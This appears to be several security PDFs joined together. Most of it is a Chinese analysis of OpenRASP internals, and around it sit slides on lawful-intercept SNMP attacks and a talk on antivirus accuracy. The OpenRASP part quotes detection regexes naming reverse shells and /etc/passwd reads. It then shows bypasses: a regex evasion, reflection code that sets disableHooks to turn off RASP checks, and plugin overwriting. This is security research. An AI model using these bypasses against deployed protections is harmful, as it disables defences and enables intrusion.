– Engine values can be shared between hosts
Attacker might want some interactivity anyway
– SNMPv3 Engine values can be obtained with a simple request
– Helpful error messages when trying to brute force credentials
But, ISP Service LANs are impenetrable!
1. No, they’re not.
2. There are plenty of people who have legitimate access to the service LAN who
are not supposed to be using lawful intercept. The lack of audit trails in this
architecture are an invitation to insider misuse.
3. When we meet the attacker half way with functionality we build into the network,
we lower the cost of their attack and hence increase its attractiveness.
Said another way - if the lawful intercept system is easy to access from the
service LAN this creates a motive to attack the network which might not exist if
performing surveillance from that network was more difficult.
Another kind of ACL
SNMPv3 User-Group Access Control Lists
– Can be used to lock access to Lawful Intercept down to the IP address of the
Mediation Device
– Generates an audit trail!
– Still susceptible to spoofing
– Ultimately useful when coupled with encryption
– Not well documented
Encryption
“Although encryption is not necessarily a requirement, it is highly recommended…”
SNMPv3 Encryption
– Protects you from CVE-2008-0960
– Insider attacks are a risk (spoofing, no audit trail, output stream goes anywhere)
IP Sec ESP
– Mentioned in the Internet Draft for the TAP-MIB
– The only way to encrypt the output stream
– Only effective if coupled with a User-Group access control list
How practical is this attack?
What I think service providers are doing:
– Most service providers are using SNMPv3 “Infrastructure” IP Access Control Lists
– Some service providers were vulnerable to CVE-2008-0960
– Many service providers are not using encryption
– Few service providers are using SNMPv3 User-Group IP Access Control Lists
What that means:
– SNMPv3 “Engine” values are impractical to obtain from source addresses that are
not in the “Infrastructure” Access Control List
– Attacks from addresses on that list are practical in many real world deployments
– The problem is particularly bad when coupled with CVE-2008-0960
Where should security issues be addressed?
Design
Implementation
Deployment
Recommendations for Proper Deployment
Make sure you’ve patched CVE-2008-0960!
Use Encryption – specifically IP Sec
Use a User-Group IP Access Control List to lock the Lawful Intercept user to the
IP address of the Mediation Device
Review your overall approach to protecting network infrastructure, the mediation
device, and network management systems from attack
If possible, build out of band management networks
Recommendations for the User-based Security Model for SNMPv3
Make authentication errors less helpful to an attacker
Send traps or informs when authentication failures occur
Make Engine Values more difficult to predict and share
–SYN-Cookies cannot be guessed and they are tied to a
source address
–This will cut down on packet spoofing in SNMPv3
Recommendations for Lawful Intercept
Use a different port
– Make it easier to filter
– SNMP over TCP would help prevent spoofing
Allow the router administrator to limit the addresses for the output stream
Move notification control into the router configuration
– Network Administrators should not be able to use notifications to monitor
surveillance, nor should they be able to direct copies of the output stream to
unauthorized destination addresses they control
– Verifying notification and output stream address agreement between the router
configuration and the interception request would prevent abuse by either party
– Multiple destinations could be configured for notifications about taps of varying
sensitivity, and interception requests could select the appropriate one.
What is going to happen in the future?
Illegal wiretapping used to be really easy
– Telco junction boxes were easy to access
– Frequency scanners could monitor wireless phones
Illegal wiretapping has been getting harder
– Wireless systems have incorporated link layer encryption
– Tapping wired infrastructure increasingly requires expensive protocol analyzers
– Software defined radios might make some of this cheap again in the future
We may never see perfect end-to-end Internet encryption
– People aren’t broadly adopting end-to-end encryption solutions, preferring point-to-point
application layer or link layer encryption that is “baked in” and seamless
– Improving link layer encryption in wired and wireless systems will reduce illegal
wiretapping
Should we build lawful wiretapping infrastructure?
The consensus view of academic security researchers is that the risks involved in creating
permanent wiretapping infrastructure are too great.
– See Susan Landau and Whitfield Diffie
• Privacy on the line
The consensus view of law enforcement is that they like to wiretap suspects.
– The question we get to ask may not be whether or not to build this infrastructure, but what
kind of infrastructure we want to build.
Wiretapping can either be performed with temporary or permanent devices
– Temporary devices can be installed “out doors” where no audit trail exists
– Permanent infrastructure can take one of two forms:
• ETSI style systems, where minimization is performed by service providers
• “Klein Declaration” style systems, where minimization is performed by Law
Enforcement/Intelligence
For example: The Klein Declaration
The Klein Declaration
In 2006 Mark Klein filed a declaration in an EFF lawsuit over warrantless
wiretapping
The Klein Declaration provides a technical description of a telecommunications
monitoring system alleged to be operated by the National Security Agency
The Klein Declaration describes the use of a fiber-optic splitter to send the entire
content of backbone links to a special monitoring room for analysis
On the other hand, the Cisco Architecture for Lawful Intercept only collects the
specific traffic flows requested by the LEA
• This allows the LEA to only collect information authorized by a warrant
• The Cisco Architecture is not a secret
• In these respects, the Cisco Architecture may protect personal privacy better
What kind of wiretapping infrastructure should we build?
The key difference between the Klein and Cisco architectures is the presence of human
checks and balances.
The value of the service provider access control provided by ETSI style wiretapping
infrastructure may be worth the risk of the sort of unauthorized access described in this talk
– This view runs against the grain of the consensus view of security researchers
– You cannot effectively control the use of portable protocol analyzers, but permanent
infrastructure must have some kind of access control
– That access control may improve security if it is effective:
• We know that verification of warrants or other legal authority is taking place
• The architecture is open to the public for peer review
• Other avenues of access can be closed off
– The verification of legal authority needs to be credible
Peer Review Matters
Cisco did the right thing by publishing their architecture for Lawful Intercept
Lawful Intercept is a matter of public interest
– It is helpful if people can see and understand how surveillance is performed
– The way that these systems perform minimization and prevent unauthorized
use is a part of the checks and balances that ensure that the surveillance being
performed is legally appropriate
Technical peer review of Lawful Intercept architectures helps ensure that they are
secure
There are many architectures and vendor solutions for Lawful Intercept that have
not been described in similar public documentation and have not been subjected
to peer review
We have no reason to suspect that technology we cannot review is appropriately
designed – every deployed technology has security vulnerabilities
What can you do to prevent illegal wiretapping?
Look for ways to encrypt insecure link layers with seamless technologies
Peer Review lawful intercept systems to discover and disclose security
weaknesses and vulnerabilities
Insist on lawful intercept systems that are:
– Secure
– Subjected to open peer review
– Auditable
– Incorporate appropriate checks and balances
Support organizations that are challenging the status quo
We aren’t going to make things better if we’re
afraid to ask challenging questions. | pdf |
OpenRasp分析
OpenRasp分析
写在前⾯
⼀些⽇志说明
正⽂
初始化
为什么要将rasp.jar加载⾄Bootstrap类加载器
配置初始化
ModuleLoader类初始化
引擎启动
JS初始化
Checker的初始化
CustomClassTransformer
Hook
回答上⾯遗留的ModuleClassloader的问题
如何绕过
基于正则的绕过
通过修改某些属性
覆盖插件
参考⽂章
写在前⾯
花了点时间学习了下openrasp的核⼼代码,这⾥做下简单的分析
相关项⽬地址:
⽂件名
⽂件内容
plugin/plugin-DATE.log
检测插件的⽇志,e.g 插件异常、插件调试输出
rasp/rasp-DATE.log
rasp agent 调试⽇志
alarm/alarm-DATE.log
攻击报警⽇志,JSON 格式,⼀⾏⼀个
policy_alarm/policy_alarm-DATE.log
安全基线检查报警⽇志,JSON 格式,⼀⾏⼀个
https://github.com/baidu-security/openrasp-v8
https://github.com/baidu/openrasp
这⾥我以⽬前官⽹最新版的1.3.7来做下分析,这⾥为了⽅便简单⽤springboot写个简单的控
制器来进⾏调试分析即可,当然这⾥不会去看后端云控部分的代码,笔者只是想理清
OpenRasp的逻辑
另外说点p话,顺便在这个过程当中被迫了解了点c++语法真是太妙了
⼀些⽇志说明
OpenRasp的⽇志会通过⽂件的⽅式记录在对应⽂件夹下⾯,⾥⾯⽇志具体内容就不多解释了
点开⼀眼就看得懂,了解下⾯⼏个关于⽇志⽬录介绍完全⾜够了
正⽂
初始化
⾸先既然是⼀个基于maven的项⽬,很多关键信息都肯定有定义的,类似premain-class以及
Agent-class分别是启动时加载和启动后加载rasp,这⾥我们就以premain为例⼦,另⼀个差不多
类似
⾸先是执⾏ init 初始化
初始化第⼀步 JarFileHelper.addJarToBootstrap(inst); ,可以看到这⾥其实就是把
当前jar包也就是 rasp.jar 加载⾄Bootstrap类加载器,这⾥你可能想问为什么是最顶层的这
个
为什么要将rasp.jar加载⾄Bootstrap类加载器
通过JVM的api,把其路径追加到了启动类加载器的classpath中,这样,启动类加载器,收到
类加载委派任务时,就能通过该classpath加载到rasp.jar的所有类了,根据双亲委派,意味着任
何⼀个类加载器中的任何⼀个类,都能通过显式或者隐式加载,加载到rasp.jar中的类,反⽽
⽹上说的啥⽆法hook到通过启动类加载器加载的类纯纯扯淡
配置初始化
接下来的 readVersion() ⽅法,其实就是读取⼀些rasp⾃⾝的配置
public static void readVersion() throws IOException {
Class clazz = Agent.class;
String className = clazz.getSimpleName() + ".class";
String classPath = clazz.getResource(className).toString();
String manifestPath = classPath.substring(0,
classPath.lastIndexOf("!") + 1) + "/META-INF/MANIFEST.MF";
Manifest manifest = new Manifest((new
URL(manifestPath)).openStream());
Attributes attr = manifest.getMainAttributes();
没啥好看的,看看 MANIFEST.MF 就好
接下来执⾏ ModuleLoader.load(mode, action, inst); 来
ModuleLoader类初始化
⾸先 ModueLoader 有个静态块,来看看代码做了两件事,⼀个是获取rasp.jar的绝对路径,另
⼀个是获取拓展类加载器赋值给moduleClassLoader,⾄于为什么需要获取拓展类加载器,这
⾥引⼊三梦师傅的话,很好理解没啥难度
再简单看看代码,待会⼉说说这个moduleClassLoader的作⽤,在很后⾯这⾥先了解了解
projectVersion = attr.getValue("Project-Version");
buildTime = attr.getValue("Build-Time");
gitCommit = attr.getValue("Git-Commit");
projectVersion = projectVersion == null ? "UNKNOWN" : projectVersion;
buildTime = buildTime == null ? "UNKNOWN" : buildTime;
gitCommit = gitCommit == null ? "UNKNOWN" : gitCommit;
}
其实,很多时候,⽐如tomcat,它在运⾏中,⼤部分类都是由实现的应⽤类加载器进⾏加载的,那
么,假如Engine是通过某个应⽤类加载器进⾏加载的,⽽我们的hook代码,在tomcat中应⽤类加载
器加载的某个类,插⼊了某段代码,这段代码直接(com.xxx.A.a();)调⽤了Engine的某个类的
⽅法,那么,按照双亲委派机制,以及隐式加载的规范,将会抛出ClassNoFoundError的错误
接下来进⼊构造函数,⾸先实例化赋值 engineContainer = new
ModuleContainer("rasp-engine.jar");
static {
Class clazz;
try {
clazz = Class.forName("java.nio.file.FileSystems");
clazz.getMethod("getDefault").invoke((Object)null);
} catch (Throwable var4) {
}
clazz = ModuleLoader.class;
String path = clazz.getResource("/" + clazz.getName().replace(".",
"/") + ".class").getPath();
if (path.startsWith("file:")) {
path = path.substring(5);
}
if (path.contains("!")) {
path = path.substring(0, path.indexOf("!"));
}
try {
baseDirectory = URLDecoder.decode((new
File(path)).getParent(), "UTF-8");
} catch (UnsupportedEncodingException var3) {
baseDirectory = (new File(path)).getParent();
}
ClassLoader systemClassLoader;
for(systemClassLoader = ClassLoader.getSystemClassLoader();
systemClassLoader.getParent() != null &&
!systemClassLoader.getClass().getName().equals("sun.misc.Launcher$ExtClass
Loader"); systemClassLoader = systemClassLoader.getParent()) {
}
moduleClassLoader = systemClassLoader;
}
引擎启动
JS初始化
在 com.baidu.openrasp.EngineBoot#start 中⾸先通过 Loader.load(); 引⼊动态链接
库,具体引⼊的是⼲嘛的之后就知道了,之后我们暂时先忽略配置相关的东西进⼊主要的
⾸先是JS的初始化
在这个过程,⾸先是设置⽇志输出相关
紧接着是设置StackGetter,这其实是⼀个回掉函数的触发
这⼀点可以从v8的⽂档得以验证,后⾯还会提到这⾥只是简单提提
紧接着是下⾯两⾏
⼀个 UpdatePlugin(); ,⾸先遍历plugins⽬录下的js⽂件,并添加到 scripts 变量当中
UpdatePlugin();
InitFileWatcher();
紧接着执⾏ UpdatePlugin(List<String[]> scripts) ,⾸先是 CreateSnapshot 从名
字可以看出是创建快照,我们还是来具体看看⼲了些啥
简单对⽂件做了注释,因为流程确实没啥好说的
/*
* Class: com_baidu_openrasp_v8_V8
* Method: CreateSnapshot
* Signature: (Ljava/lang/String;[Ljava/lang/Object;Ljava/lang/String;)Z
*/
ALIGN_FUNCTION JNIEXPORT jboolean JNICALL
Java_com_baidu_openrasp_v8_V8_CreateSnapshot(JNIEnv* env,
jclass cls,
jstring jconfig,
jobjectArray jplugins,
jstring jversion) {
//global.checkPoints
auto config = Jstring2String(env, jconfig);
//RASP版本信息
auto version = Jstring2String(env, jversion);
std::vector<PluginFile> plugin_list;
const size_t plugin_len = env->GetArrayLength(jplugins);
//遍历plugin,并将插件⽂件名与插件内容保存到plugin_list⾥⾯
for (int i = 0; i < plugin_len; i++) {
jobjectArray plugin = (jobjectArray)env-
>GetObjectArrayElement(jplugins, i);
if (plugin == nullptr) {
continue;
}
jstring jname = (jstring)env->GetObjectArrayElement(plugin, 0);
jstring jsource = (jstring)env->GetObjectArrayElement(plugin, 1);
if (jname == nullptr || jsource == nullptr) {
continue;
}
auto name = Jstring2String(env, jname);
auto source = Jstring2String(env, jsource);
plugin_list.emplace_back(name, source);
}
auto duration = std::chrono::system_clock::now().time_since_epoch();
auto millis = std::chrono::duration_cast<std::chrono::milliseconds>
(duration).count();
//好了注释到上⾯这⼀坨就结束了
接下来是⼀个⾮常有意思的函数Snapshot,它的作⽤是创建⼀个构造好的js运⾏环境的快照,
它继承了StartupData类,下⾯是我简单做的⼀些笔记
Snapshot* blob = new Snapshot(config, plugin_list, version, millis,
env);
if (!blob->IsOk()) {
delete blob;
return false;
}
std::lock_guard<std::mutex> lock(snapshot_mtx);
delete snapshot;
snapshot = blob;
return true;
}
Snapshot::Snapshot(const std::string& config,
const std::vector<PluginFile>& plugin_list,
const std::string& version,
uint64_t timestamp,
void* custom_data)
: v8::StartupData({nullptr, 0}), timestamp(timestamp) {
IsolateData data;
data.custom_data = custom_data;
v8::SnapshotCreator creator(external_references);
//获取⼀个隔离的环境
Isolate* isolate = reinterpret_cast<Isolate*>(creator.GetIsolate());
//void * 则不同,任何类型的指针都可以直接赋值给它,⽆需进⾏强制类型转换
//上⾯这个custom_data从传递来看,传递过来的其实是JNIENV的指向
isolate->SetData(&data);
{
v8::Isolate::Scope isolate_scope(isolate);
v8::HandleScope handle_scope(isolate);
v8::Local<v8::Context> context = v8::Context::New(isolate);
v8::Context::Scope context_scope(context);
v8::TryCatch try_catch(isolate);
v8::Local<v8::Object> global = context->Global();
//上下⽂当中设置version/global/window等信息
global->Set(context, NewV8Key(isolate, "version"),
NewV8String(isolate, version)).IsJust();
global->Set(context, NewV8Key(isolate, "global"), global).IsJust();
global->Set(context, NewV8Key(isolate, "window"), global).IsJust();
v8::Local<v8::Object> v8_stdout = v8::Object::New(isolate);
//下⾯都是绑定函数,⽐如将write绑定到函数external_references[0]的指向(这变量是
啥后⾯会说到),其他类似,另外还有绑定标准输出与标准错误
v8_stdout
->Set(
context, NewV8Key(isolate, "write"),
v8::Function::New(context,
reinterpret_cast<v8::FunctionCallback>
(external_references[0])).ToLocalChecked())
.IsJust();
global->Set(context, NewV8Key(isolate, "stdout"), v8_stdout).IsJust();
global->Set(context, NewV8Key(isolate, "stderr"), v8_stdout).IsJust();
global
->Set(
context, NewV8Key(isolate, "flex_tokenize"),
v8::Function::New(context,
reinterpret_cast<v8::FunctionCallback>
(external_references[1])).ToLocalChecked())
.IsJust();
global
->Set(
context, NewV8Key(isolate, "request"),
v8::Function::New(context,
reinterpret_cast<v8::FunctionCallback>
(external_references[2])).ToLocalChecked())
.IsJust();
global
->Set(
context, NewV8Key(isolate, "request_async"),
v8::Function::New(context,
reinterpret_cast<v8::FunctionCallback>
(external_references[3])).ToLocalChecked())
.IsJust();
//暂时不知道⼲嘛的,也没有这个js⽂件
另外上⾯提到的 external_references ⾥⾯的回掉函数在native-function.cc当中有定义,这
⾥直接放过来很好理解就不做解释了,稍微占点篇幅了
if (isolate->ExecScript({reinterpret_cast<const char*>(gen_builtins),
gen_builtins_len}, "builtins.js").IsEmpty()) {
Exception e(isolate, try_catch);
Platform::logger(e);
// no need to continue
return;
}
//初始化配置
if (isolate->ExecScript(config, "config.js").IsEmpty()) {
Exception e(isolate, try_catch);
Platform::logger(e);
}
//执⾏我们的插件js脚本做参数初始化以及各种检测函数的注册
for (auto& plugin_src : plugin_list) {
if (isolate->ExecScript("(function(){\n" + plugin_src.source + "\n})
()", plugin_src.filename, -1).IsEmpty()) {
Exception e(isolate, try_catch);
Platform::logger(e);
}
}
creator.SetDefaultContext(context);
}
v8::StartupData snapshot =
creator.CreateBlob(v8::SnapshotCreator::FunctionCodeHandling::kClear);
this->data = snapshot.data;
this->raw_size = snapshot.raw_size;
}
#include "bundle.h"
#include "flex/flex.h"
#include "request.h"
namespace openrasp_v8 {
void log_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {
Isolate* isolate = reinterpret_cast<Isolate*>(info.GetIsolate());
for (int i = 0; i < info.Length(); i++) {
v8::String::Utf8Value message(isolate, info[i]);
Platform::logger({*message, static_cast<size_t>(message.length())});
}
}
void flex_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {
Isolate* isolate = reinterpret_cast<Isolate*>(info.GetIsolate());
auto context = isolate->GetCurrentContext();
if (info.Length() < 2 || !info[0]->IsString() || !info[1]->IsString()) {
return;
}
v8::String::Utf8Value str(isolate, info[0]);
v8::String::Utf8Value lexer_mode(isolate, info[1]);
char* input = *str;
int input_len = str.length();
flex_token_result token_result = flex_lexing(input, input_len,
*lexer_mode);
size_t len = std::min(uint32_t(input_len), token_result.result_len);
auto arr = v8::Array::New(isolate, len);
for (int i = 0; i < len; i++) {
arr->Set(context, i, v8::Integer::New(isolate,
token_result.result[i])).IsJust();
}
free(token_result.result);
info.GetReturnValue().Set(arr);
}
void request_callback(const v8::FunctionCallbackInfo<v8::Value>& info) {
auto isolate = info.GetIsolate();
v8::TryCatch try_catch(isolate);
auto context = isolate->GetCurrentContext();
v8::Local<v8::Promise::Resolver> resolver;
if (!v8::Promise::Resolver::New(context).ToLocal(&resolver)) {
try_catch.ReThrow();
理解了这⼀段以后接下来再次回到Java端
return;
}
info.GetReturnValue().Set(resolver->GetPromise());
HTTPRequest req(isolate, info[0]);
HTTPResponse res = req.GetResponse();
auto object = res.ToObject(isolate);
if (res.error) {
resolver->Reject(context, object).IsJust();
} else {
resolver->Resolve(context, object).IsJust();
}
}
void request_async_callback(const v8::FunctionCallbackInfo<v8::Value>&
info) {
auto isolate = info.GetIsolate();
AsyncRequest::GetInstance().Submit(std::make_shared<HTTPRequest>
(isolate, info[0]));
}
intptr_t* Snapshot::external_references = new intptr_t[5]{
reinterpret_cast<intptr_t>(log_callback),
reinterpret_cast<intptr_t>(flex_callback),
reinterpret_cast<intptr_t>(request_callback),
reinterpret_cast<intptr_t>(request_async_callback),
0,
};
} // namespace openrasp_v8
这⾥获得 RASP.algorithmConfig 并保存到 ConfigItem.ALGORITHM_CONFIG
到这⾥插件更新部分就结束了
之后调⽤了 InitFileWatcher ,它的作⽤是创建以⽬录为单位的⽂件监听,如果⽂件进⾏增
删改,就执⾏插件更新
Checker的初始化
接下来就是Checker的初始化
这⾥会遍历
遍历Type这个枚举类型将检测类型以及对应的检测函数添加到 checkers 这个 EnumMap 当中
CustomClassTransformer
继续回来接下来调⽤ this.initTransformer(inst); ,这⾥实例
化 CustomClassTransformer 这个 Class ⽂件的转换器,
可以看到将⾃⾝作为类转换器进⾏添加
并调⽤ retransform ,这⾥逻辑很简单就不多说,看不懂的可以⾃⾏学习 JavaAgent
因此之后当类加载的时候,会进⼊我们⾃⼰的 Transformer 中,执⾏ transform 函数进
⾏拦截
Hook
public CustomClassTransformer(Instrumentation inst) {
this.inst = inst;
inst.addTransformer(this, true);
this.addAnnotationHook();
}
public void retransform() {
new LinkedList();
Class[] loadedClasses = this.inst.getAllLoadedClasses();
Class[] arr$ = loadedClasses;
int len$ = loadedClasses.length;
for(int i$ = 0; i$ < len$; ++i$) {
Class clazz = arr$[i$];
if (this.isClassMatched(clazz.getName().replace(".", "/")) &&
this.inst.isModifiableClass(clazz) &&
!clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {
try {
this.inst.retransformClasses(new Class[]{clazz});
} catch (Throwable var8) {
LogTool.error(ErrorType.HOOK_ERROR, "failed to
retransform class " + clazz.getName() + ": " + var8.getMessage(), var8);
}
}
}
}
因此接下来我们着重
看 com.baidu.openrasp.transformer.CustomClassTransformer#transform ⽅法,
它会遍历 hooks ,如果条件符合(isClassMatched返回true)则会在制定的类⽅法当中进⾏hook
⽽这些类来源于哪⾥呢?就是 open.baidu.openrasp.hook ⽂件夹下的类
这⾥呢我们就随便挑⼀个来进⾏解读,那就来⼀
个 com.baidu.openrasp.hook.system.ProcessBuilderHook 命令执⾏的类的吧,可以
看到isClassMatched的规则
看看调⽤到底是如何调⽤的,我们回
到 com.baidu.openrasp.transformer.CustomClassTransformer#transform ,可以
看到最终返回的字节码是受 hook.transformClass 处理的,在这⾥还有个⼩细节是如果
loader 为 null ,则会调⽤ setLoadedByBootstrapLoader 设置其中属性为 true ,我们
也知道什么情况下获取不到类加载器也就是由BootStrap启动器类加载器加载的⼀些类如
File 、 Runtime 等等,在设置为 true 以后在后⾯hook的时候⽣成代码有部分区别,之后
会提到
public boolean isClassMatched(String className) {
if (ModuleLoader.isModularityJdk()) {
return "java/lang/ProcessImpl".equals(className);
} else if (!OSUtil.isLinux() && !OSUtil.isMacOS()) {
return OSUtil.isWindows() ?
"java/lang/ProcessImpl".equals(className) : false;
} else {
return "java/lang/UNIXProcess".equals(className);
}
}
我们可以看到 com.baidu.openrasp.hook.AbstractClassHook#transformClass ,它
会调⽤具体实现类的 hookMethod ⽅法
这⾥也就是对应
com.baidu.openrasp.hook.system.ProcessBuilderHook#hookMethod ,可以看到这
⾥的处理也是很全⾯的挺好
在具体要hook的类⽅法前⾯加上 checkCommand 这个函数
回答上⾯遗留的ModuleClassloader的问题
在这⾥通过 getInvokeStaticSrc 这个⽅法⽣成具体插⼊的类,在这个⽅法当中可以看到,
对于被BootStrap加载的类,它会通过
com.baidu.openrasp.ModuleLoader.moduleClassLoader . loadClass 去调⽤检查命
令的 checkCommand 函数,这样就避免了由于双亲委派机制导致的
ClassNotFoundException
protected void hookMethod(CtClass ctClass) throws IOException,
CannotCompileException, NotFoundException {
String src;
if (ctClass.getName().contains("ProcessImpl")) {
if (OSUtil.isWindows()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class,
"checkCommand", "$1,$2", new Class[]{String[].class, String.class});
this.insertBefore(ctClass, "<init>", (String)null, src);
} else if (ModuleLoader.isModularityJdk()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class,
"checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class,
byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}
} else if (ctClass.getName().contains("UNIXProcess")) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class,
"checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class,
byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}
}
由于重载思想差不多就随便挑⼀个看看
public static void checkCommand(byte[] command, byte[] args, byte[]
envBlock) {
if ((Boolean)HookHandler.enableCmdHook.get()) {
LinkedList<String> commands = new LinkedList();
//执⾏的命令
if (command != null && command.length > 0) {
commands.add(new String(command, 0, command.length - 1));
}
//执⾏的命令的参数
int index;
if (args != null && args.length > 0) {
int position = 0;
for(index = 0; index < args.length; ++index) {
if (args[index] == 0) {
commands.add(new String(Arrays.copyOfRange(args,
position, index)));
position = index + 1;
}
}
}
之后在讲命令和环境变量放到 commands 与 envList 当中并执
⾏ checkCommand((List)commands, (List)envList); ,这⾥会把执⾏的命令、环境变
量、以及当前调⽤栈存放到params这个变量当中
//来⾃envp参数,通常为空,通常是⾃⼰设置的环境变量
LinkedList<String> envList = new LinkedList();
if (envBlock != null) {
index = -1;
for(int i = 0; i < envBlock.length; ++i) {
if (envBlock[i] == 0) {
String envItem = new String(envBlock, index + 1, i
- index - 1);
if (envItem.length() > 0) {
envList.add(envItem);
}
index = i;
}
}
}
checkCommand((List)commands, (List)envList);
}
}
之后带着这些参数执⾏ HookHandler.doCheckWithoutRequest ,这⾥省略⼀些废话
之后在 com.baidu.openrasp.HookHandler#doRealCheckWithoutRequest
会选择合适的checker去检查我们执⾏的东西
继续省略⼀堆废话,最终会调⽤到 V8.check
public static boolean check(Type type, CheckParameter parameter) {
return ((Checker)checkers.get(type)).check(parameter);
}
我们来看看对应的c源码,这⾥忽略前⾯部分,后⾯这⾥有个⽐较骚的v8的函
数 SetLazyDataProperty
函数对应的Getter是GetStack,可以看到这个函数⾥⾯⽐较核⼼的操作就是通过JNIENV去调⽤
Java的 com.baidu.openrasp.v8.V8#GetStack 函数很骚
void GetStack(v8::Local<v8::Name> name, const
v8::PropertyCallbackInfo<v8::Value>& info) {
auto isolate = reinterpret_cast<openrasp_v8::Isolate*>
(info.GetIsolate());
auto env = GetJNIEnv(isolate);
jbyteArray jbuf = reinterpret_cast<jbyteArray>(env-
>CallStaticObjectMethod(v8_class.cls, v8_class.GetStack));
if (jbuf == nullptr) {
return info.GetReturnValue().Set(v8::Array::New(isolate));
继续往下看check函数,由于我们这⾥分析的是command,所以if部分暂时不⽤看,之后调
⽤ isolate->Check 去执⾏检测(不截图了,简单来说就是找到对应的注册的检测函数去调
⽤)
如何绕过
}
auto maybe_string = v8::String::NewExternalOneByte(isolate, new
ExternalOneByteStringResource(env, jbuf));
if (maybe_string.IsEmpty()) {
return info.GetReturnValue().Set(v8::Array::New(isolate));
}
auto maybe_value = v8::JSON::Parse(isolate->GetCurrentContext(),
maybe_string.ToLocalChecked());
if (maybe_value.IsEmpty()) {
return info.GetReturnValue().Set(v8::Array::New(isolate));
}
auto value = maybe_value.ToLocalChecked();
info.GetReturnValue().Set(value);
}
绕过的⽅式其实真的有很多,这⾥简单谈⼏个
基于正则的绕过
⾸先对于规则的检测既然是基于正则表达式,那么很显然如果在规则不够完善的情况之下,
那也是可以造成⼀部分的绕过,⽐如我们可以看到在官⽅的插件当中,我们就拿这第⼀个查
看⽂件的命令来说只是任意匹配1-5位,虽然不能通过多个空格之类的绕过
我们的cat函数⽀持同时读多个⽂件 cat /abc/def /etc/passwd ,这样也是可以轻轻松松
得以进⾏绕过
通过修改某些属性
通常如果存在反序列化漏洞,我们通常可以通过 TemplatesImpl 去加载任意字节码,在这⾥
如果对于在RASP执⾏检测过程当中如果存在某些关键配置我们可以操控,那么就可以导致绕
过,⽽OpenRasp⾥⾯就有,⽐如在执⾏检测前中间的调⽤流程有
个 com.baidu.openrasp.HookHandler#doCheckWithoutRequest ,这⾥⾯提到了如果服
务器的cpu使⽤率超过 90% , 禁⽤全部hook点
command_common: {
name: '算法3 - 识别常⽤渗透命令(探针)',
action: 'log',
pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?
sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?
sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.
{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'
},
又或者满⾜当云控注册成功之前,不进⼊任何hook点,反正这些我们不都是可以通过反射去
设置的么,这⾥我就随便来⼀个,就以第⼀个为例⼦吧,我们可以通过反射获取这个已经实
例化的实例,在这个基础上修改 disableHooks 这个属性即可
代码⽰例如下
为了得到直观的效果我把插件当中的log改为block来演⽰下
try {
Class<?> clz =
Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openra
sp.config.Config");
java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");
java.lang.reflect.Field disableHooks =
clz.getDeclaredField("disableHooks");
disableHooks.setAccessible(true);
Object ins = getConfig.invoke(null);
disableHooks.set(ins,true);
} catch (Exception e) {}
并简单写了个控制器模拟反序列化过程(⼀个字懒)
⾸先执⾏命令返回可爱⼩恐龙
// 命令注⼊ - 常⻅命令
command_common: {
name: '算法3 - 识别常⽤渗透命令(探针)',
action: 'block',
pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?
sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?
sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.
{1,80}exec\\(.{1,5}/bin/(?:ba)?sh|\\{echo,.{10,400}{base64,-d}'}
@RequestMapping("/off")
public void off(){
try {
Class<?> clz =
Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openra
sp.config.Config");
java.lang.reflect.Method getConfig =
clz.getDeclaredMethod("getConfig");
java.lang.reflect.Field disableHooks =
clz.getDeclaredField("disableHooks");
disableHooks.setAccessible(true);
Object ins = getConfig.invoke(null);
disableHooks.set(ins,true);
} catch (Exception e) {}
}
当我访问 off 路由成功关闭rasp的hook功能
当然你可能会说还有其他的关闭的hook点,⽐如刚刚上⾯提到的 doCheckWithoutRequest
实际上最终是通过 doRealCheckWithoutRequest 去进⾏下⼀步操作,但毕竟也是类似的意
思就不多考虑这些更改属性的了点到为⽌,毕竟只要破坏中间任⼀环节即可
覆盖插件
我们知道OpenRASP通过 InitFileWatcher ,⼀旦其中的js⽂件被 创建 、 改变 、 删除 都会触
发插件的
并且我们可以看到插件配置当中对于⽂件上传 js 默认是关闭逻辑检测的开关
因此我们如果存在任意⽂件上传并且可以跨⽬录再并且知道插件路径的情况下,虽然不是很
通⽤但好⽍也是⼀个⼿段
⾄于有没有其他⽅式这⾥暂时我就不探究了,顺便吐槽学校的实训太累了,⼼理上的累
参考⽂章
官⽅⽂档
C++中构造函数的两种写法
JNIENV介绍
以OpenRASP为基础-展开来港港RASP的类加载 | pdf |
Improving Antivirus Accuracy
with Hypervisor Assisted
Analysis
Danny Quist
Danny Quist
Offensive Computing, LLC
[email protected]
Twitter: ocomputing
Danny Quist
Reverse engineer
Automated reverse engineering
Unpacker of strange malware
RE Training Course
Founder Offensive Computing
Largest open collection of malware
Blog with research (when able)
Ph.D. New Mexico Tech, 2010
Overview
Complexities of reverse engineering
Discussion of malware detection problem
The commercial antivirus industry
Hypervisors and Reverse Engineering
Improving AV scanning results
Complexities of Reverse Engineering
Most malware is compiled Intel x86 Assembly code
Compiler
• Machine code is more
complex
• Optimizations make
C Code – 45 lines
Relevant Assembly Code
• Optimizations make
analysis more difficult
•Total code size is 1,200
instructions
• 118 Relevant assembly
instructions
• Much of machine code is
compiler boiler plate
Reverse Engineering
Complexities of Reverse Engineering
Executables can be obfuscated
Packing /
Obfuscations
Compiler
Information Loss - (Comments, Variable Names, Original Structure of Code
